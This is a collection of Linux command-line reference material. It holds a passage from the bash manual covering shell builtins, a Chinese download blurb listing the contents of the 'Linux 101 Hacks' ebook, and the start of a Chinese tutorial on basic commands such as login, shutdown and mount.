unless the shell is not executing a loop when con- tinue is executed. declare [-afFirtx] [-p] [name[=value] ...] typeset [-afFirtx] [-p] [name[=value] ...] Declare variables and/or give them attributes. If no names are given then display the values of variables. The -p option will display the attributes and values of each name. When -p is used, additional options are ignored. The -F option inhibits the display of function definitions; only the function name and attributes are printed. If the extdebug shell option is enabled using shopt, the source file name and line number where the function is defined are displayed as well. The -F option implies -f. The following options can be used to restrict output to variables with the specified attribute or to give variables attributes: -a Each name is an array variable (see Arrays above). -f Use function names only. -i The variable is treated as an integer; arithmetic evaluation (see ARITHMETIC EVALUATION ) is performed when the variable is assigned a value. -r Make names readonly. These names cannot then be assigned values by subsequent assignment statements or unset. -t Give each name the trace attribute. Traced functions inherit the DEBUG and RETURN traps from the calling shell. The trace attribute has no special mean- ing for variables. -x Mark names for export to subsequent commands via the environment. Using ‘+’ instead of ‘-’ turns off the attribute instead, with the exception that +a may not be used to destroy an array variable. When used in a function, makes each name local, as with the local command. If a variable name is followed by =value, the value of the variable is set to value. The return value is 0 unless an invalid option is encountered, an attempt is made to define a function using ‘‘-f foo=bar’’, an attempt is made to assign a value to a readonly variable, an attempt is made to assign a value to an array variable without using the compound assignment syntax (see Arrays above), one of the names is not a valid shell variable name, an attempt is made to turn off readonly status for a readonly variable, an attempt is made to turn off array status for an array variable, or an attempt is made to display a non-exis- tent function with -f. dirs [-clpv] [+n] [-n] Without options, displays the list of currently remembered directories. The default display is on a single line with directory names separated by spaces. Directories are added to the list with the pushd command; the popd command removes entries from the list. +n Displays the nth entry counting from the left of the list shown by dirs when invoked without options, starting with zero. -n Displays the nth entry counting from the right of the list shown by dirs when invoked without options, starting with zero. -c Clears the directory stack by deleting all of the entries. -l Produces a longer listing; the default listing format uses a tilde to denote the home directory. -p Print the directory stack with one entry per line. -v Print the directory stack with one entry per line, prefixing each entry with its index in the stack. The return value is 0 unless an invalid option is supplied or n indexes beyond the end of the directory stack. disown [-ar] [-h] [jobspec ...] Without options, each jobspec is removed from the table of active jobs. If the -h option is given, each jobspec is not removed from the table, but is marked so that SIGHUP is not sent to the job if the shell receives a SIGHUP. If no jobspec is present, and neither the -a nor the -r option is supplied, the current job is used. If no jobspec is supplied, the -a option means to remove or mark all jobs; the -r option without a jobspec argument restricts operation to running jobs. The return value is 0 unless a jobspec does not specify a valid job. echo [-neE] [arg ...] Output the args, separated by spaces, followed by a newline. The return status is always 0. If -n is specified, the trailing newline is suppressed. If the -e option is given, interpretation of the following backslash-escaped characters is enabled. The -E option disables the interpretation of these escape characters, even on systems where they are interpreted by default. The xpg_echo shell option may be used to dynamically determine whether or not echo expands these escape characters by default. echo does not interpret -- to mean the end of options. echo interprets the following escape sequences: \a alert (bell) \b backspace \c suppress trailing newline \e an escape character \f form feed \n new line \r carriage return \t horizontal tab \v vertical tab \\ backslash \0nnn the eight-bit character whose value is the octal value nnn (zero to three octal digits) \nnn the eight-bit character whose value is the octal value nnn (one to three octal digits) \xHH the eight-bit character whose value is the hexadecimal value HH (one or two hex digits) enable [-adnps] [-f filename] [name ...] Enable and disable builtin shell commands. Disabling a builtin allows a disk command which has the same name as a shell builtin to be executed without specifying a full pathname, even though the shell normally searches for builtins before disk commands. If -n is used, each name is disabled; otherwise, names are enabled. For example, to use the test binary found via the PATH instead of the shell builtin version, run ‘‘enable -n test’’. The -f option means to load the new builtin command name from shared object filename, on systems that support dynamic loading. The -d option will delete a builtin previously loaded with -f. If no name arguments are given, or if the -p option is supplied, a list of shell builtins is printed. With no other option arguments, the list consists of all enabled shell builtins. If -n is supplied, only disabled builtins are printed. If -a is supplied, the list printed includes all builtins, with an indication of whether or not each is enabled. If -s is supplied, the output is restricted to the POSIX special builtins. The return value is 0 unless a name is not a shell builtin or there is an error loading a new builtin from a shared object. eval [arg ...] The args are read and concatenated together into a single command. This command is then read and executed by the shell, and its exit status is returned as the value of eval. If there are no args, or only null arguments, eval returns 0. exec [-cl] [-a name] [command [arguments]] If command is specified, it replaces the shell. No new process is created. The arguments become the arguments to command. If the -l option is supplied, the shell places a dash at the beginning of the zeroth arg passed to command. This is what login(1) does. The -c option causes command to be executed with an empty environ- ment. If -a is supplied, the shell passes name as the zeroth argument to the exe- cuted command. If command cannot be executed for some reason, a non-interactive shell exits, unless the shell option execfail is enabled, in which case it returns failure. An interactive shell returns failure if the file cannot be executed. If command is not specified, any redirections take effect in the current shell, and the return status is 0. If there is a redirection error, the return status is 1. exit [n] Cause the shell to exit with a status of n. If n is omitted, the exit status is that of the last command executed. A trap on EXIT is executed before the shell termi- nates. export [-fn] [name[=word]] ... export -p The supplied names are marked for automatic export to the environment of subsequently executed commands. If the -f option is given, the names refer to functions. If no names are given, or if the -p option is supplied, a list of all names that are exported in this shell is printed. The -n option causes the export property to be removed from each name. If a variable name is followed by =word, the value of the variable is set to word. export returns an exit status of 0 unless an invalid option is encountered, one of the names is not a valid shell variable name, or -f is sup- plied with a name that is not a function. fc [-e ename] [-nlr] [first] [last] fc -s [pat=rep] [cmd] Fix Command. In the first form, a range of commands from first to last is selected from the history list. First and last may be specified as a string (to locate the last command beginning with that string) or as a number (an index into the history list, where a negative number is used as an offset from the current command number). If last is not specified it is set to the current command for listing (so that ‘‘fc -l -10’’ prints the last 10 commands) and to first otherwise. If first is not speci- fied it is set to the previous command for editing and -16 for listing. The -n option suppresses the command numbers when listing. The -r option reverses the order of the commands. If the -l option is given, the commands are listed on standard output. Otherwise, the editor given by ename is invoked on a file contain- ing those commands. If ename is not given, the value of the FCEDIT variable is used, and the value of EDITOR if FCEDIT is not set. If neither variable is set, is used. When editing is complete, the edited commands are echoed and executed. In the second form, command is re-executed after each instance of pat is replaced by rep. A useful alias to use with this is ‘‘r="fc -s"’’, so that typing ‘‘r cc’’ runs the last command beginning with ‘‘cc’’ and typing ‘‘r’’ re-executes the last command. If the first form is used, the return value is 0 unless an invalid option is encoun- tered or first or last specify history lines out of range. If the -e option is sup- plied, the return value is the value of the last command executed or failure if an error occurs with the temporary file of commands. If the second form is used, the return status is that of the command re-executed, unless cmd does not specify a valid history line, in which case fc returns failure. fg [jobspec] Resume jobspec in the foreground, and make it the current job. If jobspec is not present, the shell’s notion of the current job is used. The return value is that of the command placed into the foreground, or failure if run when job control is dis- abled or, when run with job control enabled, if jobspec does not specify a valid job or jobspec specifies a job that was started without job control. getopts optstring name [args] getopts is used by shell procedures to parse positional parameters. optstring con- tains the option characters to be recognized; if a character is followed by a colon, the option is expected to have an argument, which should be separated from it by white space. The colon and question mark characters may not be used as option char- acters. Each time it is invoked, getopts places the next option in the shell vari- able name, initializing name if it does not exist, and the index of the next argument to be processed into the variable OPTIND. OPTIND is initialized to 1 each time the shell or a shell script is invoked. When an option requires an argument, getopts places that argument into the variable OPTARG. The shell does not reset OPTIND auto- matically; it must be manually reset between multiple calls to getopts within the same shell invocation if a new set of parameters is to be used. When the end of options is encountered, getopts exits with a return value greater than zero. OPTIND is set to the index of the first non-option argument, and name is set to ?. getopts normally parses the positional parameters, but if more arguments are given in args, getopts parses those instead. getopts can report errors in two ways. If the first character of optstring is a colon, silent error reporting is used. In normal operation diagnostic messages are printed when invalid options or missing option arguments are encountered. If the variable OPTERR is set to 0, no error messages will be displayed, even if the first character of optstring is not a colon. If an invalid option is seen, getopts places ? into name and, if not silent, prints an error message and unsets OPTARG. If getopts is silent, the option character found is placed in OPTARG and no diagnostic message is printed. If a required argument is not found, and getopts is not silent, a question mark (?) is placed in name, OPTARG is unset, and a diagnostic message is printed. If getopts is silent, then a colon (:) is placed in name and OPTARG is set to the option charac- ter found. getopts returns true if an option, specified or unspecified, is found. It returns false if the end of options is encountered or an error occurs. hash [-lr] [-p filename] [-dt] [name] For each name, the full file name of the command is determined by searching the directories in $PATH and remembered. If the -p option is supplied, no path search is performed, and filename is used as the full file name of the command. The -r option causes the shell to forget all remembered locations. The -d option causes the shell to forget the remembered location of each name. If the -t option is supplied, the full pathname to which each name corresponds is printed. If multiple name arguments are supplied with -t, the name is printed before the hashed full pathname. The -l option causes output to be displayed in a format that may be reused as input. If no arguments are given, or if only -l is supplied, information about remembered commands is printed. The return status is true unless a name is not found or an invalid option is supplied. help [-s] [pattern] Display helpful information about builtin commands. If pattern is specified, help gives detailed help on all commands matching pattern; otherwise help for all the builtins and shell control structures is printed. The -s option restricts the infor- mation displayed to a short usage synopsis. The return status is 0 unless no command matches pattern. history [n] history -c history -d offset history -anrw [filename] history -p arg [arg ...] history -s arg [arg ...] With no options, display the command history list with line numbers. Lines listed with a * have been modified. An argument of n lists only the last n lines. If the shell variable HISTTIMEFORMAT is set and not null, it is used as a format string for strftime(3) to display the time stamp associated with each displayed history entry. No intervening blank is printed between the formatted time stamp and the history line. If filename is supplied, it is used as the name of the history file; if not, the value of HISTFILE is used. Options, if supplied, have the following meanings: -c Clear the history list by deleting all the entries. -d offset Delete the history entry at position offset. -a Append the ‘‘new’’ history lines (history lines entered since the beginning of the current bash session) to the history file. -n Read the history lines not already read from the history file into the current history list. These are lines appended to the history file since the begin- ning of the current bash session. -r Read the contents of the history file and use them as the current history. -w Write the current history to the history file, overwriting the history file’s contents. -p Perform history substitution on the following args and display the result on the standard output. Does not store the results in the history list. Each arg must be quoted to disable normal history expansion. -s Store the args in the history list as a single entry. The last command in the history list is removed before the args are added. If the HISTTIMEFORMAT is set, the time stamp information associated with each history entry is written to the history file. The return value is 0 unless an invalid option is encountered, an error occurs while reading or writing the history file, an invalid offset is supplied as an argument to -d, or the history expansion supplied as an argument to -p fails. jobs [-lnprs] [ jobspec ... ] jobs -x command [ args ... ] The first form lists the active jobs. The options have the following meanings: -l List process IDs in addition to the normal information. -p List only the process ID of the job’s process group leader. -n Display information only about jobs that have changed status since the user was last notified of their status. -r Restrict output to running jobs. -s Restrict output to stopped jobs. If jobspec is given, output is restricted to information about that job. The return status is 0 unless an invalid option is encountered or an invalid jobspec is sup- plied. If the -x option is supplied, jobs replaces any jobspec found in command or args with the corresponding process group ID, and executes command passing it args, returning its exit status. kill [-s sigspec | -n signum | -sigspec] [pid | jobspec] ... kill -l [sigspec | exit_status] Send the signal named by sigspec or signum to the processes named by pid or jobspec. sigspec is either a case-insensitive signal name such as SIGKILL (with or without the SIG prefix) or a signal number; signum is a signal number. If sigspec is not present, then SIGTERM is assumed. An argument of -l lists the signal names. If any arguments are supplied when -l is given, the names of the signals corresponding to the arguments are listed, and the return status is 0. The exit_status argument to -l is a number specifying either a signal number or the exit status of a process termi- nated by a signal. kill returns true if at least one signal was successfully sent, or false if an error occurs or an invalid option is encountered. let arg [arg ...] Each arg is an arithmetic expression to be evaluated (see ARITHMETIC EVALUATION). If the last arg evaluates to 0, let returns 1; 0 is returned otherwise. local [option] [name[=value] ...] For each argument, a local variable named name is created, and assigned value. The option can be any of the options accepted by declare. When local is used within a function, it causes the variable name to have a visible scope restricted to that function and its children. With no operands, local writes a list of local variables to the standard output. It is an error to use local when not within a function. The return status is 0 unless local is used outside a function, an invalid name is sup- plied, or name is a readonly variable. logout Exit a login shell. popd [-n] [+n] [-n] Removes entries from the directory stack. With no arguments, removes the top direc- tory from the stack, and performs a cd to the new top directory. Arguments, if sup- plied, have the following meanings: +n Removes the nth entry counting from the left of the list shown by dirs, start- ing with zero. For example: ‘‘popd +0’’ removes the first directory, ‘‘popd +1’’ the second. -n Removes the nth entry counting from the right of the list shown by dirs, starting with zero. For example: ‘‘popd -0’’ removes the last directory, ‘‘popd -1’’ the next to last. -n Suppresses the normal change of directory when removing directories from the stack, so that only the stack is manipulated. If the popd command is successful, a dirs is performed as well, and the return status is 0. popd returns false if an invalid option is encountered, the directory stack is empty, a non-existent directory stack entry is specified, or the directory change fails. printf [-v var] format [arguments] Write the formatted arguments to the standard output under the control of the format. The format is a character string which contains three types of objects: plain charac- ters, which are simply copied to standard output, character escape sequences, which are converted and copied to the standard output, and format specifications, each of which causes printing of the next successive argument. In addition to the standard printf(1) formats, %b causes printf to expand backslash escape sequences in the cor- responding argument (except that \c terminates output, backslashes in \', \", and \? are not removed, and octal escapes beginning with \0 may contain up to four digits), and %q causes printf to output the corresponding argument in a format that can be reused as shell input. The -v option causes the output to be assigned to the variable var rather than being printed to the standard output. The format is reused as necessary to consume all of the arguments. If the format requires more arguments than are supplied, the extra format specifications behave as if a zero value or null string, as appropriate, had been supplied. The return value is zero on success, non-zero on failure. pushd [-n] [dir] pushd [-n] [+n] [-n] Adds a directory to the top of the directory stack, or rotates the stack, making the new top of the stack the current working directory. With no arguments, exchanges the top two directories and returns 0, unless the directory stack is empty. Arguments, if supplied, have the following meanings: +n Rotates the stack so that the nth directory (counting from the left of the list shown by dirs, starting with zero) is at the top. -n Rotates the stack so that the nth directory (counting from the right of the list shown by dirs, starting with zero) is at the top. -n Suppresses the normal change of directory when adding directories to the stack, so that only the stack is manipulated. dir Adds dir to the directory stack at the top, making it the new current working directory. If the pushd command is successful, a dirs is performed as well. If the first form is used, pushd returns 0 unless the cd to dir fails. With the second form, pushd returns 0 unless the directory stack is empty, a non-existent directory stack element is specified, or the directory change to the specified new current directory fails. pwd [-LP] Print the absolute pathname of the current working directory. The pathname printed contains no symbolic links if the -P option is supplied or the -o physical option to the set builtin command is enabled. If the -L option is used, the pathname printed may contain symbolic links. The return status is 0 unless an error occurs while reading the name of the current directory or an invalid option is supplied. read [-ers] [-u fd] [-t timeout] [-a aname] [-p prompt] [-n nchars] [-d delim] [name ...] One line is read from the standard input, or from the file descriptor fd supplied as an argument to the -u option, and the first word is assigned to the first name, the second word to the second name, and so on, with leftover words and their intervening separators assigned to the last name. If there are fewer words read from the input stream than names, the remaining names are assigned empty values. The characters in IFS are used to split the line into words. The backslash character (\) may be used to remove any special meaning for the next character read and for line continuation. Options, if supplied, have the following meanings: -a aname The words are assigned to sequential indices of the array variable aname, starting at 0. aname is unset before any new values are assigned. Other name arguments are ignored. -d delim The first character of delim is used to terminate the input line, rather than newline. -e If the standard input is coming from a terminal, readline (see READLINE above) is used to obtain the line. -n nchars read returns after reading nchars characters rather than waiting for a com- plete line of input. -p prompt Display prompt on standard error, without a trailing newline, before attempt- ing to read any input. The prompt is displayed only if input is coming from a terminal. -r Backslash does not act as an escape character. The backslash is considered to be part of the line. In particular, a backslash-newline pair may not be used as a line continuation. -s Silent mode. If input is coming from a terminal, characters are not echoed. -t timeout Cause read to time out and return failure if a complete line of input is not read within timeout seconds. This option has no effect if read is not reading input from the terminal or a pipe. -u fd Read input from file descriptor fd. If no names are supplied, the line read is assigned to the variable REPLY. The return code is zero, unless end-of-file is encountered, read times out, or an invalid file descriptor is supplied as the argument to -u. readonly [-apf] [name[=word] ...] The given names are marked readonly; the values of these names may not be changed by subsequent assignment. If the -f option is supplied, the functions corresponding to the names are so marked. The -a option restricts the variables to arrays. If no name arguments are given, or if the -p option is supplied, a list of all readonly names is printed. The -p option causes output to be displayed in a format that may be reused as input. If a variable name is followed by =word, the value of the vari- able is set to word. The return status is 0 unless an invalid option is encountered, one of the names is not a valid shell variable name, or -f is supplied with a name that is not a function. return [n] Causes a function to exit with the return value specified by n. If n is omitted, the return status is that of the last command executed in the function body. If used outside a function, but during execution of a script by the . (source) command, it causes the shell to stop executing that script and return either n or the exit status of the last command executed within the script as the exit status of the script. If used outside a function and not during execution of a script by ., the return status is false. Any command associated with the RETURN trap is executed before execution resumes after the function or script. set [--abefhkmnptuvxBCHP] [-o option] [arg ...] Without options, the name and value of each shell variable are displayed in a format that can be reused as input for setting or resetting the currently-set variables. Read-only variables cannot be reset. In posix mode, only shell variables are listed. The output is sorted according to the current locale. When options are specified, they set or unset shell attributes. Any arguments remaining after the options are processed are treated as values for the positional parameters and are assigned, in order, to $1, $2, ... $n. Options, if specified, have the following meanings: -a Automatically mark variables and functions which are modified or created for export to the environment of subsequent commands. -b Report the status of terminated background jobs immediately, rather than before the next primary prompt. This is effective only when job control is enabled. -e Exit immediately if a simple command (see SHELL GRAMMAR above) exits with a non-zero status. The shell does not exit if the command that fails is part of the command list immediately following a while or until keyword, part of the test in an if statement, part of a && or ││ list, or if the command’s return value is being inverted via !. A trap on ERR, if set, is executed before the shell exits. -f Disable pathname expansion. -h Remember the location of commands as they are looked up for execution. This is enabled by default. -k All arguments in the form of assignment statements are placed in the environ- ment for a command, not just those that precede the command name. -m Monitor mode. Job control is enabled. This option is on by default for interactive shells on systems that support it (see JOB CONTROL above). Back- ground processes run in a separate process group and a line containing their exit status is printed upon their completion. -n Read commands but do not execute them. This may be used to check a shell script for syntax errors. This is ignored by interactive shells. -o option-name The option-name can be one of the following: allexport Same as -a. braceexpand Same as -B. emacs Use an emacs-style command line editing interface. This is enabled by default when the shell is interactive, unless the shell is started with the --noediting option. errtrace Same as -E. functrace Same as -T. errexit Same as -e. hashall Same as -h. histexpand Same as -H. history Enable command history, as described above under HISTORY. This option is on by default in interactive shells. ignoreeof The effect is as if the shell command ‘‘IGNOREEOF=10’’ had been exe- cuted (see Shell Variables above). keyword Same as -k. monitor Same as -m. noclobber Same as -C. noexec Same as -n. noglob Same as -f. nolog Currently ignored. notify Same as -b. nounset Same as -u. onecmd Same as -t. physical Same as -P. pipefail If set, the return value of a pipeline is the value of the last (rightmost) command to exit with a non-zero status, or zero if all command
Geekstuff唯一一本在官网免费下载的101 hacks系列,可以说是为其他的101 hacks的经典之一。本书中的很多技巧对于初学者提高系统管理的工作效率很有帮助。光看看目录,就感觉非常实用! 此为第二版。 -------- 资源为英文,下载请谨慎 中文版linux 101 hacks(第一版): http://download.csdn.net/detail/jiaoxiaogu/4273423 -------- 附目录(中文翻译) 第一章:强大的CD 命令技巧 技巧1:CDPATH : 设置cd 命令的基目录 技巧2:使用cd 和alias 命令快速返回上级目录 技巧3:用一条语句执行―mkdir‖和―cd‖命令 技巧4:用―cd -‖在最近访问的两个目录之间切换 技巧5:用―dirs‖、―pushd‖、―popd‖来操作目录栈 技巧6:用―shopt –s cdspell‖自动纠正―cd‖命令的目录名输入错误 第二章:日期操作 技巧7:设置系统日期和时间 技巧8:设置硬件日期和时间 技巧9:用特定格式显示当前时间 技巧10:显示过去的日期和时间 技巧11:显示未来的日期和时间 第三章:SSH(Secure SHell)客户端命令 技巧12:查看SSH 客户端版本 技巧13:用SSH 登录到远程主机 技巧14:调试SSH 客户端会话 技巧15:用SSH 退出符切换SSH 会话 技巧16:用SSH 退出字符会话,显示信息 第四章:重要的linux 命令 技巧17:grep 命令 技巧18:find 命令 技巧19:禁止标准输出和错误信息的输出 技巧20:join 命令 技巧21:改变字符的大小写 技巧22:xargs 命令 技巧23:sort 命令 技巧24:uniq 命令 技巧25:cut 命令 技巧26:stat 命令 技巧27:diff 命令 技巧28:显示用户总的连接时间 第五章:PS1,PS2,PS3 和PROMPT_COMMAND 技巧29:PS1——默认提示符 技巧30:PS2——再谈提示符 技巧31:PS3——Shell 脚本中使用select 时的提示符 技巧32:PS4——PS4-―set -x"用来修改跟踪输出的前缀 技巧33:PROMPT_COMMAND 环境变量 第六章:用功能强大的彩色终端快速使用PS1 技巧34:在提示符中显示用户名,主机名,当前目录 技巧35:在提示符里显示当前时间 技巧36:任意命令的输出作为提示符 技巧37:改变提示符的前景颜色 技巧38:改变提示符的背景色 技巧39:在提示符中显示多种颜色 技巧40:用tput 改变提示符颜色 技巧41:使用已有的PS1 变量创建自己的提示符 技巧42:通过PS1 调用bash shell 函数 技巧43:通过PS1 中调用shell 脚本 第七章:归档和压缩 技巧 44:zip 命令基础 技巧 45:zip 高级用法 技巧 46:zip 文件的密码保护 技巧 47:检查zip 文件的完整性 技巧 48:tar 命令的基础知识 技巧 49:在tar 中使用gzip, bzip2 第八章:history 命令 技巧 50:使用HISTTIMEFORMAT 在历史中显示TIMESTAMP 技巧 51:用Ctrl + R 搜索历史命令 技巧 52:四种不同的方法快速执行之前的命令 技巧 53:执行历史命令中的特定命令 技巧 54:执行以特定字开头的历史命令 技巧 55:用HISTSIZE 控制历史命令的总数 技巧 56:使用HISTFILE 改变历史文件名 技巧 57:使用HISTCONTROL 来消除命令历史中的连续重复条目 技巧 58:使用HISTCONTROL 在整个历史中去除重复命令 技巧 59:使用HISTCONTROL 强制history 忽略某条特定命令 技巧 60:使用c 选项清除所有的历史命令 技巧 61:替换命令历史中的内容 技巧 62:替换特定命令的特定参数 技巧63:用HISTSIZE 禁用history 技巧64:用HISTIGNORE 让history 在存储时忽略某些指令 第九章:系统管理任务 技巧 65:用 fdisk 进行分区 技巧 66:用 mke2fsk 格式化分区 技巧 67:挂载分区 技巧 68:用tune2fs 进行分区调整 技巧 69:创建交换分区 技巧 70:创建新用户 技巧 71:创建新的组并将用户加入该组 技巧 72:在OpenSSH 中设置SSH 的无密码登陆 技巧 73:与 ssh-agent 一起来使用 ssh-copy-id 技巧 74:crontab 技巧 75:用Magic SysRq 键实现Linux 安全重启 第十章:Apachectl 和 Httpd 实例 技巧76:传递不同的httpd 技巧77:使用一个临时DocumentRoot 而不修改httpd 技巧78:暂时提高Log 的级别 技巧79:显示Apache 内的模块 技巧80:显示httpd 技巧81:验证被修改的httpd 技巧82:显示httpd 的编译参数 技巧83:根据需要加载一个指定模块 第十一章:Bash 脚本 技巧84:.bash_*files 的执行顺序 技巧85:如何在bash shell 中产生随机数 技巧86:调试一个脚本 技巧87:使用引号(Quoting) 技巧88:将数据文件的指定域读取到shell 脚本中 第十二章:监控系统和性能 技巧89:free 命令 技巧90:top 命令 技巧91:ps 命令 技巧92:df 命令 技巧93:kill 命令 技巧94:du 命令 技巧95:lsof 命令 技巧96:sar 命令 技巧97:vmstat 命令 技巧98:netstat 命令 技巧99:sysctl 命令 技巧100:nice 命令 技巧101:renice 命令 第十三章 一些额外的技巧 额外技巧1:让cd 命令对参数大小写不敏感 额外技巧2:一次动作为多次SSH 连接指定密码 额外技巧3:rar 命令用法示例 额外技巧4:用Comm 命令比较两个文件 额外技巧5:Compact-Disk (CD)操作 额外技巧6:DVD 操作 额外技巧7:从CD 或者DVD 创建ISO 文件 额外技巧8:OD 命令用法示例 额外技巧9:Gpg 命令用法示例 额外的技巧10:Tee 命令示例
文件为doc版,可自行转成txt,在手机上看挺好的。 本资源来自网络,如有纰漏还请告知,如觉得还不错,请留言告知后来人,谢谢!!!!! 入门学习Linux常用必会60个命令实例详解 Linux必学的60个命令 Linux提供了大量的命令,利用它可以有效地完成大量的工作,如磁盘操作、文件存取、目录操作、进程管理、文件权限设定等。所以,在Linux系统上工作离不开使用系统提供的命令。要想真正理解Linux系统,就必须从Linux命令学起,通过基础的命令学习可以进一步理解Linux系统。 不同Linux发行版的命令数量不一样,但Linux发行版本最少的命令也有200多个。这里笔者把比较重要和使用频率最多的命令,按照它们在系统中的作用分成下面六个部分一一介绍。 ◆ 安装和登录命令:login、shutdown、halt、reboot、install、mount、umount、chsh、exit、last; ◆ 文件处理命令:file、mkdir、grep、dd、find、mv、ls、diff、cat、ln; ◆ 系统管理相关命令:df、top、free、quota、at、lp、adduser、groupadd、kill、crontab; ◆ 网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、finger、mail、 nslookup; ◆ 系统安全相关命令:passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、who; ◆ 其它命令:tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。 本文以Mandrake Linux 9.1(Kenrel 2.4.21)为例,介绍Linux下的安装和登录命令。 immortality按:请用ctrl+f在本页中查找某一部分的内容或某一命令的用法。 -------------------------------------------------------------------------------- Linux必学的60个命令(1)-安装与登陆命令 login 1.作用 login的作用是登录系统,它的使用权限是所有用户。 2.格式 login [name][-p ][-h 主机名称] 3.主要参数 -p:通知login保持现在的环境参数。 -h:用来向远程登录的之间传输用户名。 如果选择用命令行模式登录Linux的话,那么看到的第一个Linux命令就是login:。 一般界面是这样的: Manddrake Linux release 9.1(Bamboo) for i586 renrel 2.4.21-0.13mdk on i686 / tty1 localhost login:root password: 上面代码中,第一行是Linux发行版本号,第二行是内核版本号和登录的虚拟控制台,我们在第三行输入登录名,按“Enter”键在Password后输入账户密码,即可登录系统。出于安全考虑,输入账户密码时字符不会在屏幕上回显,光标也不移动。 登录后会看到下面这个界面(以超级用户为例): [root@localhost root]# last login:Tue ,Nov 18 10:00:55 on vc/1 上面显示的是登录星期、月、日、时间和使用的虚拟控制台。 4.应用技巧 Linux 是一个真正的多用户操作系统,可以同时接受多个用户登录,还允许一个用户进行多次登录。这是因为Linux和许多版本的Unix一样,提供了虚拟控制台的访问方式,允许用户在同一时间从控制台(系统的控制台是与系统直接相连的监视器和键盘)进行多次登录。每个虚拟控制台可以看作是一个独立的工作站,工作台之间可以切换。虚拟控制台的切换可以通过按下Alt键和一个功能键来实现,通常使用F1-F6 。 例如,用户登录后,按一下“Alt+ F2”键,用户就可以看到上面出现的“login:”提示符,说明用户看到了第二个虚拟控制台。然后只需按“Alt+ F1”键,就可以回到第一个虚拟控制台。一个新安装的Linux系统允许用户使用“Alt+F1”到“Alt+F6”键来访问前六个虚拟控制台。虚拟控制台最有用的是,当一个程序出错造成系统死锁时,可以切换到其它虚拟控制台工作,关闭这个程序。 shutdown 1.作用 shutdown命令的作用是关闭计算机,它的使用权限是超级用户。 2.格式 shutdown [-h][-i][-k][-m][-t] 3.重要参数 -t:在改变到其它运行级别之前,告诉init程序多久以后关机。 -k:并不真正关机,只是送警告信号给每位登录者。 -h:关机后关闭电源。 -c:cancel current process取消目前正在执行的关机程序。所以这个选项当然没有时间参数,但是可以输入一个用来解释的讯息,而这信息将会送到每位使用者。 -F:在重启计算机时强迫fsck。 -time:设定关机前的时间。 -m: 将系统改为单用户模式。 -i:关机时显示系统信息。 4.命令说明 shutdown 命令可以安全地将系统关机。有些用户会使用直接断掉电源的方式来关闭Linux系统,这是十分危险的。因为Linux与Windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失,使系统处于不稳定的状态,甚至在有的系统中会损坏硬件设备(硬盘)。在系统关机前使用 shutdown命令,系统管理员会通知所有登录的用户系统将要关闭,并且login指令会被冻结,即新的用户不能再登录。 halt 1.作用 halt命令的作用是关闭系统,它的使用权限是超级用户。 2.格式 halt [-n] [-w] [-d] [-f] [-i] [-p] 3.主要参数说明 -n:防止sync系统调用,它用在用fsck修补根分区之后,以阻止内核用老版本的超级块覆盖修补过的超级块。 -w:并不是真正的重启或关机,只是写wtmp(/var/log/wtmp)纪录。 -f:没有调用shutdown,而强制关机或重启。 -i:关机(或重启)前,关掉所有的网络接口。 -f:强迫关机,不呼叫shutdown这个指令。 -p: 当关机的时候顺便做关闭电源的动作。 -d:关闭系统,但不留下纪录。  4.命令说明 halt 就是调用shutdown -h。halt执行时,杀死应用进程,执行sync(将存于buffer中的资料强制写入硬盘中)系统调用,文件系统写操作完成后就会停止内核。若系统的运行级别为0或6,则关闭系统;否则以shutdown指令(加上-h参数)来取代。  reboot 1.作用 reboot命令的作用是重新启动计算机,它的使用权限是系统管理者。 2.格式 reboot [-n] [-w] [-d] [-f] [-i] 3.主要参数 -n: 在重开机前不做将记忆体资料写回硬盘的动作。 -w: 并不会真的重开机,只是把记录写到/var/log/wtmp文件里。 -d: 不把记录写到/var/log/wtmp文件里(-n这个参数包含了-d)。 -i: 在重开机之前先把所有与网络相关的装置停止。 install 1.作用 install命令的作用是安装或升级软件或备份数据,它的使用权限是所有用户。 2.格式 (1)install [选项]... 来源 目的地 (2)install [选项]... 来源... 目录 (3)install -d [选项]... 目录... 在前两种格式中,会将复制至或将多个文件复制至已存在的,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。 3.主要参数 --backup[=CONTROL]:为每个已存在的目的地文件进行备份。 -b:类似 --backup,但不接受任何参数。 -c:(此选项不作处理)。 -d,--directory:所有参数都作为目录处理,而且会创建指定目录的所有主目录。 -D:创建前的所有主目录,然后将复制至 ;在第一种使用格式中有用。 -g,--group=组:自行设定所属组,而不是进程目前的所属组。 -m,--mode=模式:自行设定权限模式 (像chmod),而不是rwxr-xr-x。 -o,--owner=所有者:自行设定所有者 (只适用于超级用户)。 -p,--preserve-timestamps:以文件的访问/修改时间作为相应的目的地文件的时间属性。 -s,--strip:用strip命令删除symbol table,只适用于第一及第二种使用格式。 -S,--suffix=后缀:自行指定备份文件的。 -v,--verbose:处理每个文件/目录时印出名称。 --help:显示此帮助信息并离开。 --version:显示版本信息并离开。 mount 1.作用 mount命令的作用是加载文件系统,它的用权限是超级用户或/etc/fstab中允许的使用者。 2.格式 mount -a [-fv] [-t vfstype] [-n] [-rw] [-F] device dir 3.主要参数 -h:显示辅助信息。 -v:显示信息,通常和-f用来除错。 -a:将/etc/fstab中定义的所有文件系统挂上。 -F:这个命令通常和-a一起使用,它会为每一个mount的动作产生一个行程负责执行。在系统需要挂上大量NFS文件系统时可以加快加载的速度。 -f:通常用于除错。它会使mount不执行实际挂上的动作,而是模拟整个挂上的过程,通常会和-v一起使用。 -t vfstype:显示被加载文件系统的类型。 -n:一般而言,mount挂上后会在/etc/mtab中写入一笔资料,在系统中没有可写入文件系统的情况下,可以用这个选项取消这个动作。 4.应用技巧 在Linux 和Unix系统上,所有文件都是作为一个大型树(以/为根)的一部分访问的。要访问CD-ROM上的文件,需要将CD-ROM设备挂装在文件树中的某个挂装点。如果发行版安装了自动挂装包,那么这个步骤可自动进行。在Linux中,如果要使用硬盘、光驱等储存设备,就得先将它加载,当储存设备挂上了之后,就可以把它当成一个目录来访问。挂上一个设备使用mount命令。在使用mount这个指令时,至少要先知道下列三种信息:要加载对象的文件系统类型、要加载对象的设备名称及要将设备加载到哪个目录下。 (1)Linux可以识别的文件系统 ◆ Windows 95/98常用的FAT 32文件系统:vfat ; ◆ Win NT/2000 的文件系统:ntfs ; ◆ OS/2用的文件系统:hpfs; 